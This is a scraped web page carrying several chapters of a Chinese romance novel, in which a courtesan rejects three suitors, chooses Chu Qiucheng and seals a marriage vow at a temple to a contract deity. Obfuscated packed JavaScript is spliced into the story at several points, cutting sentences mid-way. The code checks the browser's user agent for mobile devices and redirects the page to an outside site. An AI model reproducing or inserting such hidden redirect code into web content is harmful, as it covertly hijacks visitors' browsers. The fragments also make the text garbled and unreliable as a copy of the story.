0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717910|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在此时,惜春楼里的歌也唱到了尾声,紧接着,楼里传来了阵阵喝彩之声。 女子抚摸着面前的琴弦,不由自主地抬头望向花前那人,却发现他仍站在原地。 月光照亮了他清秀的脸庞,一双晶亮深邃的眼眸正充满赞许地凝视着自己。 待惜春楼里的喝彩声毕,男子这才高声道:“真是妙不可言!此曲只应天上有,人间能得几回闻!” 女子闻言缓缓起身朝男子行礼:“方才的歌声出自惜春楼的新花魁,尹香玉。既得公子如此赞赏,香玉妹妹这些年的努力便不算白费。” “姑娘误解在下的意思了,在下方才夸赞的是姑娘的琴音。” 那男子缓步走近,烛光之下,他的脸庞愈发清晰,将他原本俊朗的面容展露无遗。 “公子谬赞了,奴家自愧才疏学浅,恐秽君听。” “姑娘不用自谦,方才的琴音于在下所看,如同燕语莺声中的林间缓缓流淌的清泉,有着独特的宁静淡然。即便是在这炎热的夏夜,听了姑娘的琴音,心也不免沉静了许多。” “多谢公子夸奖。”女子恬静的脸上浮起淡淡的笑意。 “只是姑娘的琴音虽好,却透着一丝哀愁,不知姑娘遇到了什么烦心事?” 女子低垂眼眸,神色如常道:“惜春楼里的女子,哪个没有烦心的事?既身处烟花巷柳之地,便都是吃了苦头来的。不过若是能为公子们消愁解闷,多年学的技艺也不算无用。” 女子抬头望了眼惜春楼里耀眼的灯火,目光中流露出些许怅惘。 “香玉妹妹歌声婉转,公子怎不去楼里喝酒,倒跑来这僻静的地方赏花?难道说惜春楼里的妹妹们都入不了公子的眼么?” “姑娘说笑了,惜春楼的姑娘个个绝色,如同百花齐放,在下只是瞧上一眼,便要眼花缭乱了。” 看他满脸通红,憨头憨脑的模样,女子有些忍俊不禁。 “不过在下与旁人不同,旁人赏花时若一时欢喜便将花折了去,在下赏花更喜欢远远地瞧着,只如此便心满意足了。” 说着男子踱步于蔷薇花前,喃喃道:“莫折花,花好亦自喜。” 女子也走到花前,俯身拾起地上的花瓣。 “花虽好,可惜公子来晚了。” “怎么?”男子注视着女子略带忧伤的眼眸,语气忽然变得轻柔了些,“此花温柔绚烂,香气宜人,怎么算晚?” “残香罢了,在无人问津的角落红衰翠减,凋零磨灭。公子何不去赏那齐放的百花,何必在这堆残花前驻足,岂不是辜负了手中的美酒?” “姑娘说它是残花,可依在下所看,它芬芳依旧。纵使花瓣零落,却仍在这寂静的黑夜暗吐幽香,有着淡雅别致的美。既有娇花在眼前,又何谈辜负了美酒?” 看着男子盯住自己,眼眸逐渐明亮,女子不禁低下头,颊边泛起了红晕。 男子歪着头捕捉女子闪躲的目光,语气略有挑逗道:“聊了这么久,还不知姑娘的芳名?” 他凑得太近,说话时酒气裹挟着热气触及女子的脸颊,女子面不改色,却悄悄捂着脸转身朝凉亭走去。 “姑娘怎么丢下我这个赏花之人独自走了?”男子故作嗔怪道。 女子坐在凉亭的石凳上瞥了他一眼:“公子看着有些眼生,是第一次来么?” 男子跟着女子步入凉亭,恭恭敬敬地行了个礼:“在下楚秋成,昨日才来此地避暑,今日确是第一次来惜春楼,不知姑娘为何在此良夜独自抚琴?” “奴家近日身子抱恙,故只能在此借琴声解忧。” “姑娘面色红润,如雪中一点梅,在下竟丝毫看不出。” “公子请坐罢。”女子指着一个石凳轻声道。 “我身上酒味浓烈,恐将姑娘的衣裳都沾染了酒气。不知……姑娘姓什么?” “你真的不知晓奴家的姓名么?” “真的不知!”楚秋成信誓旦旦道。 女子将腮边的发丝撩到耳后:“奴家姓柳,名白微。” “柳白微……好别致的名字,如姑娘的相貌一般淡雅脱俗,叫人见了便眷眷不忘。” “楚公子今夜的酒壶里是不是被人悄悄加了蜜糖?” “蜜糖?”楚秋成忙揭开酒壶的盖子,认真地朝壶里嗅着,“我怎么没闻到?” 柳白微坐在石凳上忍不住笑出声,楚秋成这才意识到她话里的意思。 寂静夏夜,柳白微的笑声清脆如铃。她捂住嘴巴,只露出一对笑眼,在烛光之下亮晶晶的,似天上的月亮。她的脸颊因笑得有些用力而微微泛红,如同一朵粉花瞬间绽放。 楚秋成呆站在原地,不禁看得怔怔出神…… 33.第 33 章 一连几日,太阳如同一团炽热的火球炙烤着大地,没有丝毫消减的模样。 惜春楼里的姑娘为了避免中暑气,穿得愈发清凉。见太阳离了天际,便纷纷摇着团扇站在门口迎客。 姑娘们的身上本就香气扑鼻,经由手中的扇子轻轻一挥,香气便飞到了街上,引得过路的男子无不驻足观望。 后院内,柳白微抱着琴走出厢房。她穿着一身桃红色薄裙,脸上的妆容一如既往的淡雅,只是唇上多点了些唇脂,与长裙呼应起来,整个人显得红润却不过分娇艳。 刚出厢房没几步,一个略沙哑的女子声音叫住了柳白微,柳白微转身望去,是惜春楼的鸨母。 “漪漪,你抱着琴要去哪里?”鸨母堆着笑脸朝柳白微走来。 “徐娘,我……去亭子里抚琴。”柳白微抱紧胸前的琴,抿嘴挤出一丝笑容。 “你不是说已经攒够了赎身的钱,这几日便要离开惜春楼么?怎么还待在这里?” “我……我也不知要去哪里,徐娘,您就让我先在这里待几日罢,我若想好了去处,一定会告知您的……”柳白微面露难色道。 “别的姑娘若是有赎身的机会,恨不得即刻便走,你倒是奇怪得很。”徐娘仔细端量着柳白微的神色,“我见似乎有一位楚公子经常往那亭子里去,莫不是去寻你?” “哪个楚公子?我怎得没见过?”柳白微搪塞道。 “好像是叫……楚秋成……” 听到这个名字,柳白微不禁低下头。 徐娘瞅见了她的神色,却仍自顾自说着:“听说这位楚公子玉树临风,仪表堂堂,还满腹诗书。可惜他每次来只是喝酒,什么姑娘都入不得他的眼。” “漪漪,你说实话,你这几日不肯走,是不是因为那位楚公子?” “他……他只是听我抚琴罢了……”柳白微不得已道。 徐娘拉住柳白微的手臂,放低声音道:“你若是心悦那个楚公子,不如就此留下来,如何?” “徐娘,我是铁了心要走的。这些年我为你赚了那么多银子,好不容易才熬到现在。从前的日子不属于我,以后的日子我要为了自己而活。”柳白微的眼神十分坚定,她的身子娇弱如柳,却散发着不容阻挡的气魄。 “好好好,徐娘又不是要拦着不让你走。你我相识多年,我也是为你的将来着想呐!我且问你,你可找好了归宿?” “我……我也不知道我的归宿在哪里……”柳白微低下头,眼中的光芒逐渐黯淡。 “我看那个楚公子不错,不如叫他娶了你。” “我与他相识还不足半月,怎得就到了谈婚论嫁的地步?徐娘,你也太心急了些。”柳白微摇了摇头。 “良人既在眼前,你可要抓住机会,过了这个村可就没有这个店了。不过……”徐娘的语气忽然变得严肃,“你也要睁大了眼睛,莫要和之前那样,一头扎进了虚情假意织就的罗网,别忘了你是怎么进的惜春楼。” “我知道……正是有前车之鉴,我才不会轻易托付终身。想当年,是我有眼无珠,嫁给了一个薄情寡义的赌徒,才落得如此地步。”柳白微的语气似乎没有丝毫情感,神色也十分平淡,可眼中却冷冷的,柔和中充满了悲哀。 “你知道便好。”徐娘松开柳白微的手臂,“你方才不是说要去抚琴么?” “那我便去了。”柳白微柔声道,随即抱着琴转身离去。 徐娘站在原地看着她离去的背影,不知怎的,一股熟悉又疏离的感觉油然而生。 柳白微沿着波光粼粼的池塘朝凉亭走去,还未走近,便远远地瞧见一个人影坐在凉亭里。 “白微,你可算是来了。” 楚秋成焦急地东张西望,一见到柳白微,紧锁的眉头便立即舒展开来。 他迅速接过柳白微手中的琴放在石桌上,又拉住柳白微的手腕坐在石凳上。 “快坐下。”楚秋成满心欢喜地盯着柳白微的脸,“快瞧瞧我给你带了什么。” 柳白微朝桌上望去,只见有一碗汤羹和一支未开全的莲花。莲花的花瓣洁白如玉,散发着醉人的香气。 “这碗里是什么?” “是我吩咐人做的荷叶汤,有祛火养心的功效,快尝尝。”楚秋成一脸期待道。 柳白微用汤匙舀了一勺荷叶汤轻轻吸入嘴中,在舌尖细细品味了一番。 “好喝么?” “很清新,如同置身于荷塘之中。” “这荷叶可是我亲自去摘的,你猜猜我在摘荷叶的时候还发现了什么?” “这朵莲花么?”柳白微一手托起莲花的花头,一手拈起荷梗。 “这不是普通的莲花,你仔细瞧瞧。” 柳白微端量着手中的莲花,未看出什么奇特之处,于是轻轻拨开花瓣查看花蕊。 “两个花蕊?”柳白微惊奇地望向楚秋成。 “这是罕见至极的同心莲,没想到我今日歪打正着,在荷塘的一处角落寻见了它。”楚秋成盯着柳白微的笑颜继续道:“名莲自可念,况复两心同。” 柳白微抬头望了眼楚秋成,他那双明亮的眼眸正出神地盯着自己。 “白微,你说这同心莲出现的时机是不是太巧合了些?” “哪里巧合?”柳白微反问道,她将同心莲放回桌上,端起荷叶汤喝了起来。 “你知道我的意思,反倒问起我来了。”楚秋成故作气恼地别过脸去。 “炎炎夏日,别人祛火都来不及,你倒在自己肚子里生起火来了。”柳白微一边笑着一边舀了勺荷叶汤递近楚秋成的嘴边,“快喝了汤去去火。” 楚秋成无奈地将她递过来的汤喝进肚里。 “白微,你的身子可好些了?” “什么?” “初见时你曾与我说,你身子抱恙,所以才躲在这凉亭里不见客。” 柳白微想起自己编的谎,只得回道:“好些了……只是最近那些公子都去寻香玉妹妹了,哪里想得起我来。再说,你也是客,徐娘便管不得我了。” “在徐娘那里我是客,在你这里呢?也是寻常的客么?”楚秋成轻轻抓住柳白微的手腕,一双炽热的眼眸望着她。 “来这里的客人都是一样的,哪里有寻常不寻常之分?”柳白微拨开他温热的手掌,似一条小鱼般从他的指尖逃脱。 楚秋成眼中的光芒瞬间黯淡了许多:“我问的是你,在你看来,我可有比别人多了一些不寻常?” 柳白微看着他落寞的眼神一时之间不知该如何是好,自从见到他,他的眼中便一直是亮晶晶的,可现在似乎有人吹灭了他眼中的烛火。他那俊秀的面庞顿时失了神采,额角的发丝垂落到耷拉的眼皮上。 见柳白微迟迟不应答,楚秋成默默收回方才伸出的手,不想触动了一根琴弦。那琴弦微微颤动,发出低沉的声音,似一个重物坠落在地。 它坠落的声音令柳白微不禁心中一振,脑海里的某些思绪也跟随着颤动起来。她伸手抚平被楚秋成误触的琴弦,任由它在指尖来回弹跳,直至恢复平静。 “多了或少了,不都是由你们说了算么?你若多垂爱一分,便不寻常一分,若只是逢场作戏,那便与寻常人没什么不同。” 楚秋成抬眸望着她,将她的话细细地想着。 见他仍在思忖,柳白微索性拨弄琴弦,自顾自弹起琴来。 琴声婉转宁静,如同二人第一次相见时那般。只是这次楚秋成只静静地听着,而柳白微也专心地抚琴,唯有琴声在幽静的月夜缓缓流淌。 之后一连几日,柳白微只断断续续出现在凉亭几回,楚秋成因此吃了不少闭门羹。 有时他早早地便来到凉亭,却见柳白微已弹完了曲子,抱着琴回了厢房。 有时他坐在凉亭等了许久,也不见柳白微露面。 柳白微的心思如同夏日的云雨,让楚秋成越发捉摸不透。 于是他下定决心,决定依往常一样早早地来到惜春楼,将心中的疑问都说与柳白微听。 在一个夕日欲颓的傍晚,楚秋成心事重重地穿过街上的人群,朝惜春楼走去。 不知怎的,惜春楼门口空荡荡的,以往揽客的姑娘此时都不见人影。他一迈进惜春楼的大门,便见厅堂内聚满了人。 姑娘们和客人不再把酒言欢,而是聚在一起围成了个圈,各自小声说着话。 楚秋成站在人群外不知发生了何事,他朝人群中的姑娘们望去也未寻到柳白微的身影。想着她是不爱凑热闹的,楚秋成试图越过人群朝后院的凉亭走去,却有几个人生生地挡在门口,让他怎么也过不去。 这时人群的中心传来一个粗犷的男声,楚秋成不禁朝那声音传出的方向多望了几眼。 “徐娘,我等已在此等候多时,不知漪漪姑娘何时出来?若是漪漪姑娘身子不适,我们可改日再来,不急于这一时。” 说话的那人腰佩宝刀,身躯凛凛,满口胡髭。在他身旁还站着两人,一人穿着华丽的锦袍,身材修长,气宇轩昂,手里拿着折扇,一副悠然自得的神色。另一人身材最为瘦小,却也是一表人才,举止温文尔雅,透着一股书卷气。 徐娘环顾四周后,朝那满口胡髭的男子笑道:“公子莫要心急,想必漪漪姑娘也梳洗装扮得差不多了,我这就去领她出来。” “徐娘,你且慢慢地牵她过来,他们心急我可不急。”身着锦袍的男子不紧不慢道。 “我也不急。”另一人立即道。 胡髭男子略不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730622|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满地瞥了他们一眼,未再多言,只朝徐娘行礼道:“有劳了。” 徐娘一面应着,一面朝后院行去。 这时围观的人们开始交头接耳,窃窃私语,两位站在楚秋成前面的姑娘小声攀谈了起来。 “这三位公子看起来势均力敌,不知漪漪姐姐会选哪一个。” “哪有,我看中间那位公子财大气粗,他才是漪漪姐姐最好的归宿。” 楚秋成在一旁听着,他光顾惜春楼已有些时日,可众人口中反复提及的漪漪姑娘他却从未听过。 这时,后院传来徐娘的一声高呼——“漪漪姑娘来了!” 众人立即将目光从那三个男子身上移开,纷纷投向通往后院的那扇门。 还未见漪漪姑娘跨入门槛,便听得一个细柔的声音用略带怪责的语气道:“徐娘,你这是弄的哪一出?” 楚秋成瞬间有如雷击一般,原本充满疑惑的思绪顿时被冲散,只剩下震惊。 他努力竖起耳朵试图再听一遍那位漪漪姑娘的声音,可耳边尽是嘈杂的人声。 人群朝前涌动,一些男子不时发出惊呼声。 “诸位公子。”徐娘朝众人道,她的声音一出,人群中立即安静了不少,“漪漪姑娘即将离开惜春楼,若是有哪位公子愿成为漪漪姑娘的归宿,可上前一步与这三位公子公平竞争。不过最终是谁抱得美人归,还得是漪漪姑娘说了算。” 徐娘话音刚落,又传来那位漪漪姑娘的声音。 “徐娘,你布置这些怎么不提前知会我一声?” 这回楚秋成听得十分真切,那声音分明是柳白微。他踮起脚尖透过缝隙望去,那位漪漪姑娘除了妆容比白微明艳些,相貌身形与柳白微一模一样。 楚秋成正疑惑着,那位满口胡髭的男子率先道:“既然无人上前,那我鲁武便先行向漪漪姑娘表明心意。” 鲁武上前略拘谨地行了个礼:“漪漪姑娘,我鲁武对你可谓一片痴心。自从一年前与你相别,我便对你念念不忘。虽说我也见识过不少才貌双全的女子,可到头来他们都不及漪漪姑娘你半分。听闻漪漪姑娘要离开惜春楼,我便日夜兼程赶过来向你表明心意。我鲁武在此起誓,若你跟了我,我愿用这浑身武艺为你在这乱世提供庇护之地,免受战乱之苦,不知漪漪姑娘意下如何?” “鲁公子未免太心急了些。”还未待漪漪姑娘发话,一旁的锦袍男子不以为然道。 “我们二位还未说话,怎得就到了漪漪姑娘做决定的时候了?”说着锦袍男子将手中的扇子收起,朝周遭的人拱手道:“诸位,在下姓谢,独一个谦字,想必大家都听说过我们谢家。没听说过也无妨,漪漪姑娘是知道的。” 谢谦高昂着头,朝漪漪姑娘勾起嘴角,露出志在必得的笑容。漪漪姑娘不禁低下头,似娇羞般浅浅地笑着。 “我们谢家是做布匹生意的,漪漪姑娘,你跟着我将来定享尽荣华富贵,吃穿不愁。再也不必寄人篱下,受人凌辱。你我相识也有一段时日,我定会好好待你,成为你最好的归宿。” 围观的女子纷纷投来艳羡的眼神,还有人小声地拍手叫好,直呼“郎才女貌”、“天作之合”。 楚秋成站在一旁将这些话都听了去,心中很不是滋味儿。他抬眼朝那漪漪姑娘望去,却不想漪漪姑娘也正透过人群瞧着楚秋成的神色。 只这一对视,楚秋成便认准了所谓的漪漪姑娘正是柳白微。 他心里想着,嘴里忍不住低声唤出“白微”二字。 似是猜中了楚秋成的口型,柳白微眼中有些错愕。 “漪漪姑娘。”最后一位浑身书卷气的男子上前道,一时间打断了柳白微的思绪。 “他人倾慕于你的美貌,我李文渊则独爱漪漪姑娘的才华。漪漪姑娘秀外慧中,琴艺高超,且饱读诗书,在寻常女子中可谓出类拔萃。只是造化弄人,不得已才身陷烟花巷柳之中。世道艰难,一位女子又如何能自处?我愿对漪漪姑娘的过去既往不追,将世俗纷言抛却脑后,以后我们可抚琴作诗,焚香品茗,互为知己,岂不逍遥自在?” 周遭人听得李文渊这一席话,纷纷刮目相看,不时投来赞赏的目光。 “三位公子皆已表明心意,若再无旁人,那便轮得漪漪姑娘来做此番抉择了。” 徐娘笑脸盈盈地站到柳白微身旁,柳白微却拽着徐娘的胳膊一脸难色。 “徐娘,你这可让我如何是好?” 徐娘凑近柳白微的耳朵,低声道:“你不是说不知归宿在何处么?眼下有三个好去处,你还不好好挑挑,难道你还想过从前那般苦日子么?” 柳白微看着面前的三位公子,又不经意地瞥了一眼人群中的楚秋成,可楚秋成只深深地望着她,未有丝毫挪步。 34.第 34 章 柳白微环顾四周的人群,一双双期盼的眼睛紧盯在自己的身上,令她有些局促不安。 他们似乎只是期待着她最终的选择,并未注意到柳白微此时纠结无奈的神情。 “李公子。”柳白微来到李文渊面前,“能理解小女子不易的人的确屈指可数,可欣赏小女子才华的人不止李公子一个。往事如云烟,风吹即散,本就不可追,李公子又何必介怀?至于李公子所说的世俗纷言,奴家早已付之一笑,公子作为男子,要抛却这世俗的闲言碎语,竟比小女子还费力么?” “漪漪姑娘,你误会了,我的意思是我不介意你从前的出身,往后也不会理会他人的闲言碎语,我只想和漪漪姑娘你互为知己,厮守终生。”李文渊凝望着柳白微的眼眸解释道。 “李公子,你若这样说,漪漪便明白了。”柳白微淡淡道。 李文渊见状,如释重负地松了一口气。 柳白微接着走到谢谦面前道:“多谢公子一直以来的厚爱,只是谢家财力雄厚,恐怕小女子承受不起。” “哪里的话?”谢谦展开手中的折扇自顾自地扇着,神态自若地朝柳白微轻轻一笑,“只要你跟了我,我们便同住一个屋檐下,哪里有承受不起的道理?” “公子来此,可与大娘子商谈过?” “什么?……”谢谦的笑容忽然凝滞,摇动扇子的手也逐渐变得僵硬,“好端端的,提她做什么?我谢谦做什么事难道还要与她商谈么?” “听闻谢家大娘子出身名门,又精明强干,持家有道,对谢公子一心一意。谢公子若要带漪漪进谢家,还是与大娘子商议的好。”柳白微抬头看谢谦那逐渐铁青的神色,继续道:“公子博爱,身边佳丽云集,小女子年老色衰,贵府的屋檐恐羞难踏入。” “这……只要你我情投意合,谢家怎会没有你的位置?”谢谦一脸急切道。 “谢家有无位置奴家不知,但谢公子的心里已容纳太多女子,怕是已难有漪漪的位置。” “我……” “公子的话漪漪已经明白。”柳白微打断道,她低垂双眸,轻轻地叹了口气。 谢谦见状只得满脸沮丧地收起了折扇,全没了先前昂扬的气势。 柳白微越过谢谦,来到鲁武面前,他身形高大威猛,衬得柳白微娇小玲珑。 “漪漪姑娘,你可有什么要问在下的?”鲁武首先问道。 “公子方才说要用浑身武艺庇护奴家,可现今战火连连,公子一人之力能庇护奴家到何时?” “只要我鲁武在一时,便庇护姑娘一时。” “公子仁厚善良,又习得一身好武艺,何不披坚执锐保卫国家?现有内忧外患,百姓苦不堪言。公子耗费无数日夜练就的武功,若只是用来庇护我一人,岂不太可惜了些?” “漪漪姑娘,为你所做的事怎会可惜?” 柳白微浅浅一笑:“纵使公子如何高看我,我也不过是一位平凡的女子,同其它女子一样,期盼世间安宁,亲人安康。鲁公子若有平定天下之志,将来立下战功,何愁遇不到才貌双全的女子?若因为漪漪误了公子的前途,那才是不值当了。” 鲁武站在原地一言不发似陷入沉思,柳白微也静静地望向他,眼中充满赞许。 “你说得对,当初我孜孜不倦地习武,本就是为了平定不义之事,了结不正之人。可是……漪漪姑娘,你不跟我走么?” 柳白微摇了摇头:“漪漪不需要庇护,但公子可以庇护更多的人。” “在下明白了。”鲁武若有所思道。 见柳白微回到自己跟前,徐娘试探地问道:“漪漪,你可看中了哪位公子?” 柳白微沉默片刻后朝眼前的三人道:“诸位公子回去罢。” 惜春楼的大厅内忽然陷入沉寂,围观的众人面面相觑,谁也未想到会是这样的结局。 谢谦挥挥扇子告辞离去,鲁武也行了个礼,临走前道:“姑娘保重。” 李文渊似乎心有不甘:“漪漪姑娘,我方才是说错什么话了么?” “李公子,我不喜欢强求他人。公子心中的芥蒂并未根绝,漪漪不想为公子带来麻烦。” “我……我何曾说过心存芥蒂?” “若公子真的不在乎,从一开始就不会提及漪漪的出身。只要心存一丝顾虑,在往后的日子里难免不会变成公子的心病,令公子苦恼。与其如此,公子倒不如正视自己的内心,依心而行,何必将就?” 李文渊听后低下头,浓眉深锁:“是在下考虑不周。” “公子回去罢,漪漪祝愿公子早日寻得良人知己。” 李文渊叹了口气,他瞥了眼周围的人群无奈拱手道:“多谢姑娘,在下告辞了。” 柳白微站在原地看了楚秋成一眼,他的眸子明亮清澈,方才眉上的愁云此时早已消散。 李文渊离去后,徐娘只得强装笑脸对众人道:“既然三位公子都未博得漪漪姑娘芳心,那今日便就到此了,诸位吃酒的吃酒,定要尽兴才是。” 人群逐渐散去,柳白微低垂着眼眸转身欲朝后院行去,忽听得身后传来一个高昂的男声。 “漪漪姑娘留步!” 柳白微听着这声音十分熟悉,她转过身去,果然见他站在众人前面,正满脸笑意地看着自己。 “在下楚秋成,同其它男子一样,对漪漪姑娘倾心不已。在与姑娘相处的时日里,每时每刻都如同饱饮琼浆玉露,沐浴于和煦春风之中。姑娘的一颦一笑,皆牵动着在下的心。在下自问笨嘴拙舌,才疏学浅,又无超群武艺和万贯家财,但可保姑娘衣食无忧,往后也定会精读诗书,不致姑娘觉得沉闷无趣。” 楚秋成的声音沉稳而诚恳,说话时眼睛紧紧地盯着柳白微,他紧张却又真诚的模样被柳白微看在眼里。 柳白微轻轻露出一抹笑意,腰身微微弯曲朝楚秋成行礼。 “楚公子可知奴家姓名?” “当然知晓。” “奴家姓柳,名漪漪。”柳白微瞧了眼楚秋成略迟疑的神色,补充道:“不过也曾用另一个名字,柳白微。” “姑娘的声音和相貌,在下怎会认错?”楚秋成目光炯炯道。 “公子方才说的话可是真的?” “字字真切,怎会有假?” 柳白微轻抿嘴唇,明珠似的眼睛泛着微微的波光。 “公子……可曾婚配?” 楚秋成忙上前一步道:“未曾,我力薄才疏,只够护一人,爱一人。” 柳白微薄唇轻弯,白皙如玉的脸颊泛起淡淡的红晕。 “我比你年长几岁,公子可知晓?” “姑娘比在下多读了几年诗书,往后还需姑娘多指点些。” 柳白微掩住嘴唇笑出了声:“公子不是曾念过一句诗,莫折花,花好亦自喜么?” “有花堪折直须折,莫待无花空折枝。若花有意,怎能轻易辜负,叫那摧花斫柳的人摘了去?” “公子既这样说……”柳白微面露羞涩,唇角含笑道:“那这枝柳便任凭公子折去。” 楚秋成愣在原地,仔细琢磨着柳白微话中的意思,忽地恍然大悟,眼中又惊又喜。 “姑娘方才的话是真的么!?” 柳白微笑逐颜开,盯着楚秋成一字一顿道:“字字真切,怎会有假?” 楚秋成听闻立即朝柳白微飞奔过去,站在她的面前。他欣喜得浑身颤抖,眼中闪烁着抑制不住的喜悦。 柳白微轻轻抚摸着他的脸,柔声唤道:“楚郎。” 楚秋成一伸手将她揽入怀中:“白微,谢谢你答应我。” 周遭的人见得此情形纷纷拍手称赞,几个惜春楼的姑娘也悄悄用手帕擦去了眼角的热泪。 柳白微暂离了楚秋成回厢房收拾行囊,出来时捧着一个盒子和其余的姑娘道别,随后朝徐娘道:“这盒子里是我赎身的钱,分文不少。徐娘,往后我便不再是惜春楼的人了。” 徐娘接过盒子,将里面的银子数了数,随即朝柳白微点点头道:“走罢。” 柳白微牵起楚秋成的手臂,在众人的注视下走出惜春楼的大门。 此时日薄西山,只剩最后一抹日光。 楚秋成望了眼天色朝柳白微道:“我去叫辆马车。” “不必破费。”柳白微拉住他的手,“我想在这街上走一走,你陪我走如何?” “那便依你。” 二人手挽手,踱步在来来往往的人群之中。天际最后一抹日光穿过民居间的缝隙洒在地上,柳白微停下脚步,迈进那道微光之中,感受着日光的余热。 待夜幕降临,明月高悬之时,柳白微随楚秋成来到了一处精致小巧的宅院之中。 “楚郎,明日你还能陪我出去么?” “你想去哪儿?”楚秋成将她抱在怀里亲吻她的脸颊。 柳白微抚摸着自己微微发热的脸颊道:“我不喜热闹,不如明日去城外?” “都依你,我明日叫人雇辆马车。” “好。”柳白微轻声应着,随即贴近楚秋成的胸膛,任凭那双臂膀将自己紧紧地裹住…… 第二日清晨,太阳初生,阳光还未炽热,便轻轻柔柔地洒在大地上。 柳白微穿着一身粉裙,站在日光下,浑身闪烁着温暖的光芒。 她抬头望向天空,此时天上只游荡着几朵薄云,在湛蓝无垠的空中显得洁白如雪。 薄云轻柔,被风逐渐吹向未知的远方。 “白微。”楚秋成收拾了行囊从门口出来,“马车快到了。” “好。”柳白微凑近楚秋成,轻轻擦去他脸上的汗水。 这时一辆马车缓缓驶来,楚秋成扶柳白微上了马车。 马车行驶在大街上,街道两旁早已摆满了各种小吃和杂货,商贩们在自己的摊前忙得热火朝天。 不远处,一个包子铺前笼罩着热腾腾的雾气,氤氲雾气之中是一屉屉堆得高高的蒸笼,蒸笼与蒸笼之间散发着肉香,令人垂涎欲滴。 “白微,你吃包子么?”楚秋成掀开帘子朝外望了一眼。 “不如多买几个,今日要到傍晚才回城呢。”柳白微回道。 “好,听你的。” 马车经过包子铺时,楚秋成让马车夫勒住了马,随即下车买了一屉包子。 店家用纸将包子包好,又用绳子系紧交给了楚秋成。柳白微接过包子捧在手上,肉香透过薄纸扑鼻而来。 马车继续朝前走着,柳白微不时通过帘子的缝隙望着外面热闹的景象。 每个摊子都摆着各式各样的玩意儿,有璀璨夺目的金银首饰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时太阳已高高地升起,天空万里无云,马车行驶到一处溪边才停了下来。 马车夫留在车上打盹,柳白微和楚秋成则漫步到溪边的一棵大树下。 烈日炎炎,树荫下却凉风习习,二人挑了块光滑的石头坐在上面歇息。 清冽的溪水从眼前流过,柳白微将手探进水里,溪水被太阳照得温热。她盯着坐在一旁的楚秋成,忽地将手一挥,水花腾空而起,落了楚秋成一身。 “好呀你!竟敢泼我!”楚秋成立即也将手伸进水里,不断扬起水花泼向柳白微。 一时间水花四溅,柳白微的发丝和衣裙都浸湿了。 “奴家不敢了,楚郎放过奴家罢!”柳白微嬉笑着抓住楚秋成的手腕,楚秋成这才停手。 “还敢不敢?” “不敢了……”柳白微示弱道,不时擦着脸上的水珠。 那水珠从她温润似雪的脸颊滑过,闪烁着晶莹剔透的光芒。 楚秋成一时心动,不顾她衣上的湿意将她抱在怀里,朝她红润的嘴唇吻了下去。 “白微。”楚秋成望着怀中那张小巧绯红的脸深情款款道:“此时此刻我定是这世上最幸福的男子。” “那……我便是这世上最幸福的女子。”柳白微捏住楚秋成的唇角吻了几回,随后贴近他的颈窝,感受他逐渐滚烫的体温。 流水淙淙,日光穿过叶隙投下无数星星点点的光斑。微风吹来,树影婆娑。 柳白微靠在楚秋成的怀里,凝望着远处的树木和山水。 正午的太阳照在大地上,处处闪着刺眼的亮光。在摇曳的树木丛中,一个时有时无的暗红光亮映入柳白微的眼帘。 “楚郎,你看那里是座庙么?” 楚秋成朝柳白微指的方向望去,远处青翠的树林中果真有一座庙宇。那庙看起来不大,暗红色的外墙,屋檐在太阳的照耀下熠熠生辉。 “我们去瞧瞧,见了庙宇哪有不拜一拜的道理?” 柳白微拉住楚秋成的手朝那庙宇走去,楚秋成虽略有些不情愿,但也不好扫了柳白微的兴致。 两人在烈日下走了许久才来到庙宇前,柳白微先前湿透的衣裳此时早已晒干。 “这庙怎得没有牌匾,供奉的是哪位神仙?”楚秋成疑惑道。 “那墙上像是挂着一幅画。”柳白微站在大开的庙门前四下观望道。 “小心些,还不知庙里是否藏有歹人。” “这庙看起来废弃多年,里面的陈设都已破旧,徒剩四壁,哪里还有藏身的地方?”柳白微跨过门槛,站在那副画前。 画上画了一头猛兽,栩栩如生,威风凛凛。 “墙上有字。”柳白微将墙上的灰尘擦去,隐隐约约露出几行字。 “威神赫赫,司掌契约。若缔其约,恭请神明。尽心竭诚,烧香即现。有渝此约,明神殛之。”楚秋成将墙上的字一一念道,“这座庙供奉的神灵像是掌管契约的。” “契约神……”柳白微将那墙上的话在心中默念了几遍,“楚郎,不如我们让契约神做见证,在此处缔结我们的婚约如何?” “别人都是去月老庙中求得婚姻美满,你倒好,怎得来求契约神?” “若一根红线便能使得婚姻美满,那这天下便无伤心的男女了。你可瞧见那末尾的两句话么?若是违反约定,神明便降下神罚。” 柳白微走到供桌前,拾得三柱香:“香就在我的手中,你可敢与我在此缔结婚约?” “有何不敢?”楚秋成信誓旦旦道。 柳白微攥着香,柔和的笑意在脸上漾漾开来。 35.第 35 章 静谧的清晨,飞红山上笼罩着薄纱似的雾气,山中翠绿的树林在白色的云雾中若隐若现。 一道金光冲出天际,刺破轻盈的晨雾,洒在山林之间。 微风拂起,云消雾散,空中飘落无数挟带暗香的花瓣。 一片花瓣在风中肆意飘舞,坠落在江远倾紧闭的眼皮上。他睁开疲惫的双眼,俯视着山下一览无余的风光。 一阵山风吹来,江远倾身旁的书本兀自翻着,发出清脆的声音,直至最后一页红色的封面被风吹合上,上写两个字:幻偶。 江远倾静静凝望着山下不断变化的云雾,心中升起戚戚之感。 “江远倾,你怎么在这儿?叫我一顿好找!”周厉气喘吁吁地爬上山顶,随手扶住一棵松树。 江远倾拾起书本收进怀里,仍坐在地上一动不动。 “你找我何事?” 